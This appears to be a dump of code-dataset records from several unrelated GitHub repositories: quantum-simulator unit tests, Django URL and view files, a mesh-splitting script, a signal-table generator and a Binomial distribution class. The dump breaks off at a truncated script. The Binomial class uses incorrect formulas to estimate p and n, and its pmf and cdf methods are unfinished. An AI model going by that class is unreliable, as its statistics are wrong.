measurement_outcome = initiallySuperposedRegister.measure(1)\n\n if measurement_outcome == 0:\n np.testing.assert_array_equal(\n initiallySuperposedRegister.dump_state(), [1, 0, 0, 0])\n else:\n np.testing.assert_array_equal(\n initiallySuperposedRegister.dump_state(), [0, 0, 1, 0])\n\n def test_measurement_on_five_qubit_state(self):\n register = qReg(5)\n X.on(register, 3)\n X.on(register, 0)\n H.on(register, 1)\n\n self.assertEqual(register.measure(3), 1)\n self.assertEqual(register.measure(4), 0)\n\n def test_no_target_size_match(self):\n '''\n No targets should be necessary for a ``qOp`` acting on a ``qReg`` of\n the same size.\n '''\n\n self.test_op.on(self.test_reg)\n np.testing.assert_array_equal(self.test_reg.dump_state(),\n np.array([1, 0]))\n\n def test_measure_observable_smaller_than_reg(self):\n '''\n Verifies default behavior of ``qRef.measure_observable()`` is to prefix\n observable on the left with the identity when\n ``qReg.size() > observable.size()``.\n '''\n\n # Make the state 1/sqrt(2) (|100> + |101>) and then measure\n # I (x) I (x) X.\n X.on(self.test_reg, 2)\n H.on(self.test_reg, 0)\n result = self.test_reg.measure_observable(X)\n\n state_hadamard = np.zeros(8)\n state_hadamard[4] = 1/np.sqrt(2)\n state_hadamard[5] = 1/np.sqrt(2)\n\n np.testing.assert_array_almost_equal(state_hadamard,\n self.test_reg.dump_state())\n self.assertEqual(1, result)\n\n def test_operator_overloading_misc(self):\n '''\n Tests that several operator overloading methods behave correctly\n for ``qReg`` objects.\n '''\n\n temp_reg = qReg()\n X.on(temp_reg)\n temp_reg += 1\n self.test_reg *= temp_reg\n state_001 = np.array([0, 1, 0, 0, 0, 0, 0, 0])\n np.testing.assert_array_equal(state_001, self.test_reg.dump_state())\n\n temp_reg = qReg()\n X.on(temp_reg)\n a_new_reg = self.test_reg * temp_reg\n state_0011 = np.zeros(16)\n state_0011[3] = 1\n np.testing.assert_array_equal(state_0011, a_new_reg.dump_state())\n\n def test_operator_overloading_iadd(self):\n '''\n Tests that `+=` adds one or more qubits to register.\n '''\n\n q = qReg()\n q += 3\n\n self.assertEqual(4, len(q))\n\n def test_operator_overloading_imul_dereferences_arg(self):\n '''\n Checks that `*=` dereferences the right hand operand.\n '''\n\n q = qReg()\n p = qReg()\n\n q *= p\n\n self.assertTrue(p._qReg__is_dereferenced)\n self.assertFalse(q._qReg__is_dereferenced)\n\n\nclass qRegFailure(unittest.TestCase):\n\n def setUp(self):\n # Test register and operator\n self.test_reg = qReg()\n self.test_op = qOp()\n\n def test_copy_attempt(self):\n '''\n Verifies that copy attempts on a ``qReg`` object fail.\n '''\n\n self.assertRaises(IllegalCopyAttempt, copy.copy, self.test_reg)\n self.assertRaises(IllegalCopyAttempt, copy.deepcopy, self.test_reg)\n\n def test_qReg_construction_fails_with_non_integer_creation_arg(self):\n '''\n Verifies that ``qReg`` initialization fails with non-integer\n ``n_qubits``.\n '''\n\n self.assertRaises(TypeError, qReg, 1.1)\n\n def test_qReg_construction_fails_with_creation_arg_less_than_one(self):\n '''\n Verifies that ``qReg`` initialization fails with ``n_qubits`` less than\n one.\n '''\n\n self.assertRaises(ValueError, qReg, 0)\n self.assertRaises(ValueError, qReg, -1)\n\n def test_mult_checks_both_regs_for_dereference(self):\n '''\n Verifies that multiplication checks whether both argument registers are\n dereferenced.\n '''\n\n a = qReg()\n b = a * qReg()\n\n self.assertRaises(IllegalRegisterReference, a.__mul__, b)\n self.assertRaises(IllegalRegisterReference, b.__mul__, a)\n self.assertRaises(IllegalRegisterReference, a.__imul__, b)\n self.assertRaises(IllegalRegisterReference, b.__imul__, a)\n\n def test_register_dereferencing(self):\n '''\n Verifies that ``qReg`` instances get dereferenced in cases where\n the no-cloning theorem would be violated.\n '''\n\n # Multiplication operation dereferences register.\n a = qReg()\n X.on(a)\n b = qReg()\n c = a * b\n d = qReg()\n d *= c\n state_010 = np.zeros(8)\n state_010[2] = 1\n\n # a, b, and c should all be dereferenced. D should be in |0010>\n np.testing.assert_array_equal(state_010, d.dump_state())\n\n deref = [a, b, c]\n for register in deref:\n\n # Checks that the dereferenced register is fully dead (i.e. all\n # methods called with or on it raise an exception.\n self.assertRaises(IllegalRegisterReference, register.measure, 0)\n self.assertRaises(IllegalRegisterReference,\n register.measure_observable,\n Z)\n self.assertRaises(IllegalRegisterReference, register.peek)\n self.assertRaises(IllegalRegisterReference, register.dump_state)\n self.assertRaises(IllegalRegisterReference, register.__iadd__, 1)\n self.assertRaises(IllegalRegisterReference,\n register.__mul__,\n qReg())\n self.assertRaises(IllegalRegisterReference,\n register.__imul__,\n qReg())\n self.assertRaises(IllegalRegisterReference, len, register)\n self.assertRaises(IllegalRegisterReference, X.on, register, 0)\n\n def test_bad_measurement_index(self):\n '''\n The ``qReg.measure()`` method throws an ``IndexError`` when the\n argument isn't a nonnegative integer.\n '''\n\n bad_locs = [2.4, 8j, -2, 'twelve']\n\n for loc in bad_locs:\n self.assertRaises(IndexError, self.test_reg.measure, loc)\n\n def test_negative_measurement_index_fails(self):\n '''\n Measurement should fail for a negative qubit location index.\n '''\n\n self.assertRaises(IndexError, self.test_reg.measure, -1)\n\n def test_measure_observable_bad_input(self):\n '''\n The ``qReg.measure_observable()`` method should raise an exception if\n called with a non ``qOp`` object.\n '''\n\n invalid_ops = ['a',\n ['peas', 'and', 'more', 'peas'],\n 71,\n np.eye(8),\n np.eye(2)]\n\n for op in invalid_ops:\n self.assertRaises(TypeError, self.test_reg.measure_observable, op)\n\n def test__generateStateTransitionProbabilities(self):\n '''\n Checks that a ``NonUnitaryInputError`` is thrown for nonunitary\n arguments.\n '''\n nonUnitaryMatrix = np.eye(4)\n nonUnitaryMatrix[0, 0] = 0\n\n twoQubitRegister = qReg(2)\n\n self.assertRaises(\n NonUnitaryInputError,\n twoQubitRegister._generateStateTransitionProbabilities,\n nonUnitaryMatrix)\n\n def test_operator_overloading_iadd_fails_for_nonint(self):\n '''\n Checks that a ValueError is thrown for noninteger right hand operand\n to `+=`.\n '''\n\n q = qReg()\n\n self.assertRaises(ValueError, q.__iadd__, 3.2)\n\n def test_operator_overloading_iadd_fails_for_negative_arg(self):\n '''\n Checks that a ValueError is throws for negative right hand operand to\n `+=`.\n '''\n\n q = qReg()\n\n self.assertRaises(ValueError, q.__iadd__, -2)\n\n def test_operator_overloading_imul_fails_for_non_qreg_arg(self):\n '''\n Checks that `*=` throws a TypeError when the right hand operand is\n not a `qReg`.\n '''\n\n q = qReg()\n self.assertRaises(TypeError, q.__imul__, 4)\n\n def test_operator_overloading_imul_on_dereferenced_args_fails(self):\n '''\n Checks that `*=` fails when either involved register is dereferenced.\n '''\n\n q = qReg()\n p = qReg()\n q *= p\n r = qReg()\n\n self.assertRaises(IllegalRegisterReference, q.__imul__, p)\n self.assertRaises(IllegalRegisterReference, p.__imul__, r)\n\n\nclass qOpSuccess(unittest.TestCase):\n\n def setUp(self):\n # Test register and operator\n self.test_reg = qReg()\n self.test_op = qOp()\n\n def test_known_operation_results(self):\n '''\n Verifies the resulting state of several operations.\n '''\n\n test_results = []\n # Takes |0> to |1>\n some_reg = qReg()\n X.on(some_reg)\n test_results.append(some_reg.dump_state())\n\n # Takes |0> to |0001>\n some_reg = qReg()\n X.on(some_reg)\n I.on(some_reg, 3)\n test_results.append(some_reg.dump_state())\n\n # Takes |0> to (1/sqrt(2))(|000> - |100>)\n some_reg = qReg()\n X.on(some_reg, 2)\n H.on(some_reg, 2)\n test_results.append(some_reg.dump_state())\n\n expected_results = [\n np.array([0, 1]),\n np.array([0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]),\n 1/np.sqrt(2) * np.array([1, 0, 0, 0, -1, 0, 0, 0])]\n\n for test_pair in zip(test_results, expected_results):\n np.testing.assert_array_almost_equal(test_pair[0], test_pair[1])\n\n def test_add_distant_qubit(self):\n '''\n A ``qOp`` acting on a non-extant target qubit should initialize filler\n qubits in the |0> state.\n '''\n\n I.on(self.test_reg, 2)\n state_000 = np.array([1, 0, 0, 0, 0, 0, 0, 0])\n np.testing.assert_array_equal(state_000, self.test_reg.dump_state())\n\n def test_known_swaps(self):\n '''\n Verifies known swaps in the private ``qOp.__generate_swap()`` method.\n '''\n\n # Verify that |100> gets swapped to |001>\n X.on(self.test_reg, 2)\n swap, inverse_swap = self.test_op._qOp__generate_swap(self.test_reg, 2)\n state_100 = np.zeros(8)\n state_100[1] = 1\n np.testing.assert_array_equal(state_100,\n np.dot(swap, self.test_reg.dump_state()))\n\n # Verify that |100> gets swapped to |010> with targets 1, 2\n swap, inverse_swap = self.test_op._qOp__generate_swap(self.test_reg,\n 1, 2)\n state_010 = np.zeros(8)\n state_010[2] = 1\n np.testing.assert_array_equal(state_010,\n np.dot(swap, self.test_reg.dump_state()))\n\n # Verify that (|010> - |011>)/sqrt(2) gets\n # swapped to (|100> - |101>)/sqrt(2) with targets 0, 2 and 0, 2, 1\n for i in range(len(self.test_reg)):\n X.on(self.test_reg, i)\n H.on(self.test_reg, 0)\n swap, inverse_swap = self.test_op._qOp__generate_swap(self.test_reg,\n 0, 2)\n np.testing.assert_array_equal(swap,\n self.test_op._qOp__generate_swap(\n self.test_reg, 0, 2, 1)[0])\n np.testing.assert_array_equal(swap,\n self.test_op._qOp__generate_swap(\n self.test_reg, 0, 2)[1])\n state_hadamard = np.zeros(8)\n state_hadamard[4] = 1/np.sqrt(2)\n state_hadamard[5] = -1/np.sqrt(2)\n np.testing.assert_array_almost_equal(state_hadamard,\n np.dot(\n swap,\n self.test_reg.dump_state()))\n\n def test_identity_swap_for_no_targets(self):\n '''\n Verifies that the private ``qOp.__generate_swap()`` retuns identity matrices as\n permutation operators when no nargets are specified.\n '''\n\n two_qubits = qReg(2)\n permutation, inverse = CNOT._qOp__generate_swap(two_qubits)\n\n np.testing.assert_array_equal(np.eye(4,4), permutation)\n np.testing.assert_array_equal(np.eye(4,4), inverse)\n \n def test_set_noise_model(self):\n '''\n Verifies that setting a noise model succeeds.\n '''\n\n self.test_op.set_noise_model(damping_map(0.2))\n some_op = qOp(np.eye(2), damping_map(0.2))\n list_of_kraus_ops = [\n np.array([[1, 0],\n [0, np.sqrt(0.8)]]),\n np.array([[0, np.sqrt(0.2)],\n [0, 0]]),\n ]\n\n np.testing.assert_array_equal(\n some_op._qOp__noise_model.getKrausOperators(),\n list_of_kraus_ops\n )\n np.testing.assert_array_equal(\n self.test_op._qOp__noise_model.getKrausOperators(),\n list_of_kraus_ops\n )\n\n def test_apply_noisy_gate(self):\n '''\n Deterministic verification of application of gate with\n some NoiseModel set (using prob 1 amplitude damping).\n '''\n\n registerInZeroStateInitially = qReg()\n registerInOneStateInitially = qReg()\n X.on(registerInOneStateInitially)\n\n self.test_op.set_noise_model(damping_map(1.0))\n self.test_op.on(registerInZeroStateInitially)\n self.test_op.on(registerInOneStateInitially)\n\n np.testing.assert_array_equal(\n registerInZeroStateInitially.dump_state(), [1, 0])\n np.testing.assert_array_equal(\n registerInOneStateInitially.dump_state(), [1, 0])\n\n def test_apply_noisy_gate_with_raised_register(self):\n '''\n Deterministic verification of application of gate with\n some NoiseModel set (using prob 1 amplitude damping) where\n qReg needs to be raised.\n '''\n\n singleQubitInOneStateInitialy = qReg()\n X.on(singleQubitInOneStateInitialy)\n\n self.test_op.set_noise_model(damping_map(1.0))\n self.test_op.on(singleQubitInOneStateInitialy, 1)\n\n np.testing.assert_array_equal(\n singleQubitInOneStateInitialy.dump_state(), [0, 1, 0, 0])\n\n def test_mul_with_qOp_preserves_first_qOp_noise_model(self):\n '''\n Checks that after multiplication, the resulting `qOp` has\n the same noise model as the first operand.\n '''\n op1 = qOp(kraus_ops=damping_map(0.3))\n op2 = qOp()\n\n np.testing.assert_array_equal((op1 * op2)._qOp__noise_model, damping_map(0.3))\n self.assertEqual((op2 * op1)._qOp__noise_model, None)\n\n\nclass qOpFailure(unittest.TestCase):\n\n def setUp(self):\n # Test register and operator\n self.test_reg = qReg()\n self.test_op = qOp()\n\n def test_non_unitary(self):\n '''\n Checks than an exception gets thrown for non-unitary arguments in the\n initialization of a ``qOp``.\n '''\n\n M1 = [[1, 5],\n [10, 7]]\n M2 = [[0, 1j],\n [1j + 17, 0]]\n M3 = [[4, 0],\n [0, -3]]\n M4 = [[0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0]]\n\n non_unitary_matricies = [M1, M2, M3, M4]\n for matrix in non_unitary_matricies:\n self.assertRaises(TypeError, qOp, matrix)\n\n def test_set_noise_model_bad_input(self):\n '''\n ``qOp`` throws a ``TypeError`` if the argument of\n ``qOp.set_noise_model()`` isn't a NoiseModel object.\n '''\n\n list_of_kraus_ops = [[[0, 1], [1, 0]], [[1, 0], [0, 1]]]\n\n self.assertRaises(\n TypeError,\n qOp,\n np.eye(2),\n kraus_ops=list_of_kraus_ops)\n\n self.assertRaises(\n TypeError,\n self.test_op.set_noise_model,\n list_of_kraus_ops)\n\n def test_negative_index(self):\n '''\n The ``qOp.on()`` method must fail when specified ``qReg`` target\n addresses are negative.\n '''\n\n self.assertRaises(IndexError, self.test_op.on, self.test_reg, -1)\n\n def test_no_target_size_mismatch(self):\n '''\n The ``qOp.on()`` method must fail when no ``qReg`` targets\n are specified AND the operator and register aren't the same size.\n '''\n\n self.test_reg += 1\n self.assertRaises(IndexError, self.test_op.on, self.test_reg)\n\n def test_non_int_index(self):\n '''\n The ``qOp.on()`` method must fail with non-integer targets.\n '''\n\n self.assertRaises(IndexError, self.test_op.on, self.test_reg, 1.1)\n\n def test_swap_index_out_of_range(self):\n '''\n The private ``qOp.__generate_swap()`` method must fail if one of the\n targets out of range of the ``qReg``.\n '''\n\n self.assertRaises(IndexError,\n self.test_op._qOp__generate_swap,\n self.test_reg, 0, 3)\n\n def test_swap_non_int_input(self):\n '''\n The private ``qOp.__generate_swap()`` method must fail if any of the\n targets are not nonnegative integers.\n '''\n\n some_reg = qReg()\n some_reg += 3\n\n self.assertRaises(IndexError,\n self.test_op._qOp__generate_swap,\n some_reg, 0, 0.1)\n self.assertRaises(IndexError,\n self.test_op._qOp__generate_swap,\n some_reg, 2, 0, -1)\n\n def test_invalid_matrix_rep(self):\n '''\n ``qOp`` throws a ``TypeError`` if the ``matrix_rep`` used to initialize\n it isn't a tuple/list of tuples/lists, a numpy array, or if the\n elements are not numeric.\n '''\n\n bad_matricies = [{'mydict': 17},\n [],\n [(), ()],\n 4,\n 'apples',\n [[1, 'test'], [5, (2, 4)]],\n np.array([['train', 4], [12, 45]])]\n\n for matrix in bad_matricies:\n self.assertRaises(TypeError, qOp, matrix)\n\n def test_non_square_matrix_rep(self):\n '''\n ``qOp`` throws a ``TypeError`` if the ``matrix_rep`` is not square.\n '''\n\n non_square_matrix = [[0, 1], [2, 3], [3, 4]]\n\n self.assertRaises(TypeError, qOp, non_square_matrix)\n\n def test_square_matrix_not_a_power_of_2(self):\n '''\n ``qOp`` throws a ``TypeError`` if the ``matrix_rep`` is square but not\n a power of two.\n '''\n\n non_square_matrix = [[0, 1, 2], [2, 3, 3], [3, 4, 5]]\n\n self.assertRaises(TypeError, qOp, non_square_matrix)\n\n def test_duplicate_q_reg_locs(self):\n '''\n The ``qOp.on()`` method must fail when duplicate target qubits are\n specified.\n '''\n\n self.test_reg += 1\n self.assertRaises(ValueError, CNOT.on, self.test_reg, 1, 1)\n\n def test_gate_and_reg_mismatch(self):\n '''\n The ``qOp.on()`` method must fail when size of the ``qReg`` doesn't\n match the size of ``qOp``.\n '''\n\n # Too many\n self.assertRaises(WrongShapeError,\n self.test_op.on,\n self.test_reg, 0, 1)\n\n self.test_reg += 1\n # Too few\n self.assertRaises(WrongShapeError, CNOT.on, self.test_reg, 1)\n\n def test_qOpSizeMismatchWithNoiseModel(self):\n '''\n An exception gets thrown if the dimensions of the Kraus operators don't\n match the dimensions of the ``qOp`` when calling\n ``qOp.set_noise_model()``.\n '''\n\n twoQubitOperator = qOp().kron(qOp())\n\n self.assertRaises(WrongShapeError,\n twoQubitOperator.set_noise_model, damping_map(0.5))\n\n def test_kron_on_non_qOps(self):\n '''\n If `qOp.kron()` is called with any args not of type `qOp`,\n raise a TypeError.\n '''\n\n self.assertRaises(TypeError, self.test_op.kron, np.eye(2))\n self.assertRaises(TypeError, self.test_op.kron, self.test_op, np.eye(2))\n\n def test_qOpFailsWhenAppliedToDereferencedqReg(self):\n '''\n ``IllegalRegisterReference`` is raised when attempting to operate on a\n ``qReg``.\n '''\n\n q_reg = qReg()\n q_reg._qReg__is_dereferenced = True\n\n self.assertRaises(IllegalRegisterReference, self.test_op.on, q_reg)\n\n\nclass qOracleSuccess(unittest.TestCase):\n def test_qOracle_is_subclass_of_qOp(self):\n '''\n Verifies that `qOracle` is a subclass of `qOp`.\n '''\n\n self.assertTrue(issubclass(qOracle, qOp))\n\n def test_qOracle_const_one_func(self):\n '''\n Verifies that the const function f(x) = 1\n yields the correct `qOracle`.\n '''\n\n blackBox = qOracle(lambda x: 1, 1)\n np.testing.assert_array_equal(\n blackBox._qOp__state.state(),\n [[0, 1, 0, 0],\n [1, 0, 0, 0],\n [0, 0, 0, 1],\n [0, 0, 1, 0]]\n )\n\n def test_qOracle_const_zero_func(self):\n '''\n Verifies that the const function f(x) = 0\n yields the correct `qOracle`.\n '''\n\n blackBox = qOracle(lambda x: 0, 1)\n np.testing.assert_array_equal(\n blackBox._qOp__state.state(),\n [[1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [0, 0, 0, 1]]\n )\n\nclass qOracleFailure(unittest.TestCase):\n def test_classical_func_has_nonint_values(self):\n '''\n Checks that a `TypeError` is raise when the classical func arg\n to `qOracle` has non-int values in its range.\n '''\n self.assertRaises(TypeError, qOracle, lambda x: 0.1, 3)\n\n def test_classical_func_needs_to_be_callable(self):\n '''\n Raise a `TypeError` if the classical func used to create\n a `qOracle` isn't a callable.\n '''\n self.assertRaises(TypeError, qOracle, 4, 5)\n\n def test_non_int_dimension_exponents(self):\n '''\n Checks that a `TypeError` gets raised when creating a\n `qOracle` with noninteger dimension exponents.\n '''\n self.assertRaises(TypeError, qOracle, lambda a: 1, 0.1)\n self.assertRaises(TypeError, qOracle, lambda a: 0, 1, 0.1)\n self.assertRaises(TypeError, qOracle, lambda a: 1, 0.1, 0.1)\n\n \nif __name__ == '__main__':\n unittest.main()\n","repo_name":"jasonelhaderi/pypsqueak","sub_path":"tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":24388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10256475708","text":"from django.contrib import admin\nfrom django.urls import path, include\n\nfrom rest_framework_simplejwt.views import (\n TokenObtainPairView,\n TokenRefreshView,\n)\n\napi_patterns = ([\n path('', include('api.users.urls')),\n path('', include('api.markers.urls')),\n])\n\ntoken_pattern = ([\n path('api/token/', TokenObtainPairView.as_view(),\n name='token_obtain_pair'),\n path('api/token/refresh/', TokenRefreshView.as_view(),\n name='token_refresh'),\n])\n\nurlpatterns = [\n path('', include(token_pattern)),\n path('', include(api_patterns)),\n path('admin/', admin.site.urls),\n]\n","repo_name":"ManuelPerea13/CroneAr-Back","sub_path":"src/cronear/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18292374581","text":"import meshio\nimport numpy as np\nfrom tqdm import tqdm\n\nmesh = meshio.read('/home/SENSETIME/xulixin2/下载/seg.ply')\n\nred = mesh.cell_data['red'][0]\ngreen = mesh.cell_data['green'][0]\nblue = mesh.cell_data['blue'][0]\n\nattr = np.stack([red, green, blue], axis=1)\n\n\ncells = mesh.cells[0].data\ncells = cells.tolist()\n# group cells by it's attribute\ngrouped_cells = {}\nfor i in tqdm(range(len(cells))):\n key = tuple(attr[i])\n if key not in grouped_cells:\n grouped_cells[key] = []\n grouped_cells[key].append(cells[i])\n\nfor each_key,value in grouped_cells.items():\n print(each_key)\n new_mesh = meshio.Mesh(points=mesh.points, cells=[('triangle', np.array(value))])\n meshio.write(f'/home/SENSETIME/xulixin2/下载/seg_{each_key}.ply', new_mesh, file_format='ply')","repo_name":"blacksino/virtual_camera","sub_path":"utils/split_ply.py","file_name":"split_ply.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8230951362","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 6 09:09:54 2021\n\n@author: Wenqing\n\"\"\"\n### This file parse the message and get relation\n\nimport nltk\nimport re\n\nclass getRelation:\n def __init__(self):\n pass\n \n def getTokens(self,question):\n tokens = nltk.word_tokenize(question)\n pos_tokens = nltk.pos_tag(tokens)\n return pos_tokens \n \n def returnVerbs(self,pos_tokens):\n idxlist =[]\n verbTokens = []\n for idx,tup in enumerate(pos_tokens):\n if \"VB\" in tup[1]:\n idxlist.append(idx)\n for idx in idxlist:\n verbTokens.append(pos_tokens[idx][0])\n return verbTokens\n \n ## this method match the ... of pattern\n def theOfTokens(self,question):\n theOfPattern = \"the (.*) of\"\n matching = re.search(theOfPattern,question)\n if not matching:\n return False\n else:\n relation = matching.group(1)\n return [relation]\n ## main method for getting relation\n def getRel(self,question):\n theOf = self.theOfTokens(question)\n if not theOf:\n tbd = True\n pos_tokens = self.getTokens(question)\n verbs = self.returnVerbs(pos_tokens)\n relations = verbs\n else:\n tbd = False\n relations = theOf\n return relations, tbd\n \n ## check if recommend in relation\n def tbdRel(self,relation):\n if 'recommend'in relation:\n return ['recommend']\n return relation\n \n ## search for alias of relation in predAlias dictionary\n def searchAlias(self,relation,predAlias):\n \n swdtPropList = []\n for idx, alt in enumerate(predAlias['propertyAltLabel']):\n # print(idx,alt)\n if isinstance(alt, str):\n listAlt = list(alt.split(', '))\n # print(listAlt)\n if relation in listAlt:\n pd = predAlias.iloc[[idx]]\n wdtProp = pd['propertyLabel']\n swdtProp = wdtProp[pd.index.values[0]]\n swdtPropList.append(swdtProp)\n elif predAlias.iloc[idx].str.contains(relation)['propertyAltLabel'] and isinstance(predAlias.iloc[idx]['propertyAltLabel'],str):\n pd = predAlias.iloc[[idx]]\n wdtProp = pd['propertyLabel']\n swdtProp = wdtProp[pd.index.values[0]]\n swdtPropList.append(swdtProp)\n \n return swdtPropList\n \n ## get relation pid by relation labels\n def getRelWDTid(self,graph,WDT,relations):\n relURIList = self.getRelURI(graph,relations,WDT)\n relIds = self.getRelIdByURI(WDT, relURIList)\n return relIds\n \n ## query for relation URI with relation label as input\n def getRelURI(self,graph,relation,WDT):\n # get Rel URI\n query_relURI = '''\n prefix wdt: \n prefix wd: \n \n SELECT ?rel WHERE{{\n ?rel rdfs:label \"{}\"@en.\n }}'''.format(relation)\n relURIList = list(graph.query(query_relURI))\n relURIs = []\n for idx, relURI in enumerate(relURIList):\n print(relURI)\n if WDT in str(relURI[0]):\n relURIs.append(str(relURI[0]))\n print(\"relURI: \",relURIs)\n return relURIs\n \n ## query for relation pid with URI as input\n def getRelIdByURI(self,WDT,relURIList):\n # get Rel WDTid\n relIds = []\n for idx, row in enumerate(relURIList):\n print(\"idx: \",idx,\"row: \",row)\n if WDT in row:\n wdtIdPattern = \"{}(.*)\".format(WDT)\n relId = re.search(wdtIdPattern, row).group(1)\n relIds.append(relId)\n return relIds","repo_name":"wchang1011/HS2021_ATAI_speakeasyChatbot","sub_path":"getRelation.py","file_name":"getRelation.py","file_ext":"py","file_size_in_byte":3841,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"13348931990","text":"import numpy as np\n\nDAC_MAX = 2**12-1\n\ndef sin(a, t):\n return a / 2 * (np.sin(t * 2 * np.pi) + 1)\n\ndef triangle(a, t):\n if t < 0.5:\n return 2 * a * t\n else:\n return 2 * a * (0.5 - (t - 0.5))\n\n\ndef square(a, t):\n if t < 0.5:\n return 0\n else:\n return a\n\n\nFUNCS = [sin, triangle, square]\n\nNUM_FUNCS=len(FUNCS)\nNUM_AMPLITUDES=2**6\nNUM_TIMES=2**4\n\nsignals = np.zeros((NUM_FUNCS, NUM_AMPLITUDES, NUM_TIMES), dtype=np.int32)\n\namplitudes = np.linspace(0, DAC_MAX, num=NUM_AMPLITUDES)\ntimes = np.linspace(0, 1, num=NUM_TIMES)\n\nfor i, f in enumerate(FUNCS):\n for j, a in enumerate(amplitudes):\n for k, t in enumerate(times):\n signals[i, j, k] = np.int32(f(a, t))\n\n\nnp.set_printoptions(threshold=np.inf)\n\nsignal_str = f\"\"\"#define NUM_FUNCS {NUM_FUNCS}\n#define NUM_AMPLITUDES {NUM_AMPLITUDES}\n#define NUM_TIMES {NUM_TIMES}\n\nconst uint32_t signals[NUM_FUNCS][NUM_AMPLITUDES][NUM_TIMES] =\n{np.array2string(signals, separator=',').replace('[', '{').replace(']', '}')};\"\"\"\n\nprint(signal_str)\n","repo_name":"teachee-capstone/teachee","sub_path":"software/signal_generator/gen_signals.py","file_name":"gen_signals.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"12431746992","text":"from django.shortcuts import render, redirect\n\nfrom .models import (AboutUsCard, AboutUsParagraph, ContactParagraph,\n ContactSideParagraph, FaqQuestionBanner, FaqShortBanner,\n ContactLocation, ContactMessages, NewsLetterEmail, HomePageSlider, HomePageLogo)\n\nfrom recipes.models import RecipeCategory, Recipe\nfrom blog.models import Post\nfrom user.models import Profile\n\n\ndef HomePageView(request):\n context = {}\n logo = HomePageLogo.objects.all().order_by('-id')[:1]\n context['logo'] = [*logo]\n images = HomePageSlider.objects.all()\n context['images'] = [*images]\n\n data = {}\n categories = RecipeCategory.objects.all()[:4]\n for category in categories:\n recipes = Recipe.objects.filter(category=category)[:3]\n data[category] = [*recipes]\n context[\"echoice\"] = data\n\n recent_posts_qs = Post.objects.all().order_by('date_created')[:4]\n context['recent_posts'] = [*recent_posts_qs]\n\n recent_recipes_qs = Recipe.objects.all().order_by('date_created')[:8]\n context['recent_recipes'] = [*recent_recipes_qs]\n\n profiles_qs = Profile.objects.all()[:7]\n context['editors'] = [*profiles_qs]\n\n return render(request, 'core/home.html', context)\n\n\ndef FaqPageView(request):\n context = {}\n context['shortbanners'] = FaqShortBanner.objects.all()\n context['questions'] = FaqQuestionBanner.objects.all()\n return render(request, 'core/faq.html', context)\n\n\ndef AboutUsPageView(request):\n context = {}\n context['paragraphs'] = AboutUsParagraph.objects.all()\n context['cards'] = AboutUsCard.objects.all()\n return render(request, 'core/about.html', context)\n\n\ndef ContacUsView(request):\n context = {}\n context['paragraphs'] = ContactParagraph.objects.all()\n context['side_paragraphs'] = ContactSideParagraph.objects.all()\n context['location'] = ContactLocation.objects.all()[:1]\n return render(request, 'core/contact.html', context)\n\n\ndef SendContactMessageView(request):\n address = request.POST['address']\n email = request.POST['email']\n message = request.POST['message']\n ContactMessages.objects.create(\n email=email, address=address, message=message)\n return redirect(\"core:home\")\n\n\ndef NewsLetterSubscribe(request):\n email = request.POST['EMAIL']\n NewsLetterEmail.objects.create(email=email)\n return redirect(\"core:home\")\n","repo_name":"hossamhsn74/atayeb-final","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8273203189","text":"#!/usr/bin/env python3\n\"\"\"Binomial Distibution\"\"\"\npi = 3.1415926536\n\"\"\"pi is mathmatical constant\"\"\"\ne = 2.7182818285\n\"\"\"e is mathmatical constant\"\"\"\n\n\nclass Binomial:\n \"\"\"class for Binomial distribution\"\"\"\n def __init__(self, data=None, n=1, p=0.5):\n \"\"\"initialize the Binomial distribution\"\"\"\n self.data = data\n \"\"\"data is a list of data points\"\"\"\n self.n = int(n)\n \"\"\"n is the number of trials in the distribution\"\"\"\n self.p = float(p)\n \"\"\"p is the probability of success\"\"\"\n\n if data is None:\n \"\"\"check to see if data exists\"\"\"\n if n <= 0:\n \"\"\"check to see if stddev is positive\"\"\"\n raise ValueError('n must be a positive value')\n if p <= 0 or p >= 1:\n raise ValueError('p must be greater than 0 and less than 1')\n else:\n if type(data) != list:\n \"\"\"check to see if data is a list\"\"\"\n raise TypeError(\"data must be a list\")\n elif len(data) < 2:\n \"\"\"check to see if data has multiple elements\"\"\"\n raise ValueError(\"data must contain multiple values\")\n else:\n mean = sum(data) / len(data)\n \"\"\"mean is mean of all values\"\"\"\n data_sum = 0\n \"\"\"data_sum is the sum of data points minus the mean squared\"\"\"\n for i in data:\n data_sum += (i - mean) ** 2\n \"\"\"stddev is the square root of the mean of data_sum\"\"\"\n stddev = (data_sum / len(data)) ** (1/2)\n self.p = 1-(mean/stddev)\n self.n = round(sum(data)/self.p)/len(data)\n self.p = mean/stddev\n\n def pmf(self, k):\n \"\"\"pmf for binomial distribution\"\"\"\n self.k = k\n k = int(k)\n \"\"\"k is number of success, must be positive integer\"\"\"\n if k < 0:\n return 0\n\n def cdf(self, k):\n \"\"\"cdf for binomial distribution\"\"\"\n self.k = k\n k = int(k)\n \"\"\"k is number of success, must be positive integer\"\"\"\n if k < 0:\n return 0\n","repo_name":"JamesTeeters/holbertonschool-machine_learning","sub_path":"math/0x03-probability/binomial.py","file_name":"binomial.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72746175767","text":"#!/usr/bin/env python\n\nfrom argparse import ArgumentParser\nfrom importlib import import_module\nfrom os import path\nfrom textwrap import dedent\nfrom Bio.Align import 